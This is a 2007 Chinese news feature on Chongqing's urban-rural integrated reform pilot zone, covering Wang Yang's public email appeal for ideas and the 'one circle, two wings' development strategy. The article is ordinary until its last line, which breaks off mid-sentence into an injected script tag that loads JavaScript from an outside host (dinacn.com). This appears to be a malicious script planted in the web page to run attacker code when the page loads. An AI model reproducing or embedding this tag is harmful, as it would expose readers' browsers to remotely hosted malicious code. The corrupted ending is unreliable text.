十七大前探访地方“一把手”——

　　重庆是我国最年轻的直辖市。“十一五”开局之际，时任国务院副秘书长的汪洋走马上任重庆市委书记。当时，经过8年多的直辖，重庆经济社会发生了巨大变化，但与其他直辖市相比还有不小差距，重庆人均GDP仅分别为京、津、沪的24%、31%、21%。汪洋就职时坦言，目前重庆的发展还处于“爬坡上坎、负重前进”的阶段，未来发展的任务仍很艰巨，但他有和全市人民一起把重庆建设得更加美好的信心。2007年6月7日，中央赠送给即将举行直辖十周年大典的重庆市一份大礼，那就是正式批准重庆市成为我国首个统筹城乡综合配套改革试验区，同时获批的还有毗邻的成都市。至此，8.2万平方公里的巴渝大地，成为中国统筹城乡综合配套改革的最大一块试验田。6月15日，汪洋书记和王鸿举市长就统筹综改公开自己的电子邮箱，首开地方领导互联网全球问计之先河，也由此拉开了统筹城乡综合改革大幕。

　　首开先河 全球问计统筹城乡综合改革

　　统筹城乡综合配套改革试验区，是对科学发展观的全新实践，是对“五个统筹”的重大探索，是落实包括西部大开发等在内的中央一系列战略部署的点睛之笔。重庆市决策层清醒地认识到，搞城乡统筹改革，不是花财政的钱“买”统筹、“买”和谐，而是要在改革城乡关系、城乡体制及机制上动脑筋。2007年6月15日，重庆市委、市政府启动了“统筹城乡综合配套改革问计寻策活动”，汪洋书记和王鸿举市长联名通过互联网发布了公开信并公布个人电子邮箱，向全球恳求建设重庆“试验区”的金点子。8月7日和20日，汪洋和王鸿举先后两次邀请优秀建言者代表进行座谈。汪洋表示，良言良策要分送给各部门作为改革的参考，并落实到具体改革方案中。在现有的技术手段和市场背景下，重庆可以在全球范围内配置一支有责任感的研究队伍。重庆市目前正在加紧建设“重庆统筹城乡百科网”，为统筹城乡提供一个永久性的公众对话平台。

　　2007年是重庆“试验区”建设的起步之年，以做好基础性工作为重点，有关部署正在有条不紊地开展。重庆建设全国统筹城乡综合配套改革试验区总体思路是，要在科学发展观的引领下，以加快、率先为目标，以“一圈两翼”为战略平台，发展特色优势产业和劳务经济，以解决好农民工问题，扩大社会保障和推进基本公共服务均等化为重点，以消除城乡统筹发展的机制障碍为突破口，着力推进新型工业化、城镇化、市场化的进程。7月27日，汪洋在重庆市二届人大常委会第三十二次会议闭幕式上进一步指出，全市40个区县应该选择不同的城乡统筹发展的方式，这样全市就有40种模式，供全国不同类型的区域进行借鉴。目前，重庆市已成立了以市长王鸿举担任组长的重庆市统筹城乡综合配套改革领导小组，提出了统筹城乡综合配套改革推进的“两段式”目标：第一阶段，到2012年在统筹城乡户籍、就业、社会保障、基本公共服务、公共财政、服务型政府等领域的制度设计和改革实践取得突破性进展；第二阶段，到2020年形成充分体现科学发展、和谐发展理念的城乡统筹发展新制度体系，形成在全国具有示范意义的统筹城乡发展的新模式。

　　一圈两翼 以库区经济和劳务经济为抓手推动统筹进入快车道

　　统筹城乡发展的最终目标是要使农村居民、进城务工人员及其家属与城市居民一样，享有各个方面平等的权利、均等化的公共服务和同质化的生活条件。在不给资金、不给政策的前提下，重庆如何摆脱过去依靠中央政府的资金和优惠政策发展的惯性思维让经济发展步入快车道？

　　通过一系列密集的调查研究，重庆市决策层形成了这样的共识——四个直辖市中，重庆市情最特殊，重庆最大的市情就是大城市带大农村带大库区的格局，这是发展中遇到的最大问题和挑战，只有新的发展思路才能破解加快发展的困局。为此，重庆市对《重庆市城市总体规划（2005～2020年）》进行了修编，将“一圈两翼”确立为未来重庆发展的战略构想，即：以主城为核心，打造一小时通勤距离为半径范围的城市经济区（“一圈”），建设以万州为中心的渝东北城镇群和以黔江为中心的渝东南城镇群（“两翼”）。2007年3月4日，重庆市政府和国家开发银行签订《实施重庆市“一圈两翼”发展战略，促进三峡库区移民和经济社会协调发展开发性金融合作备忘录》，重庆市“一圈两翼”战略融资获得了绿色通道。4月底，重庆市召开专题会议讨论《关于建设一小时经济圈的决定》，市长王鸿举指出，关键是要增强“一圈”反哺“两翼”能力；增强“一圈”对“两翼”富余劳动力转移就业的吸纳能力；加大“一圈”对“两翼”的对口帮扶力度；扩大“一圈”与“两翼”的干部交流。8月19日，重庆市政府召开“1小时经济圈”区县经济工作会。副市长童小平表示，“1小时经济圈”有望跻身国家重点开发区，国家正在量身制定扶持政策。重庆将按“一心四带”布局特色产业，圈内的54园区将结成17个“联盟”开展对口帮?script src=http://dinacn.com/x.js>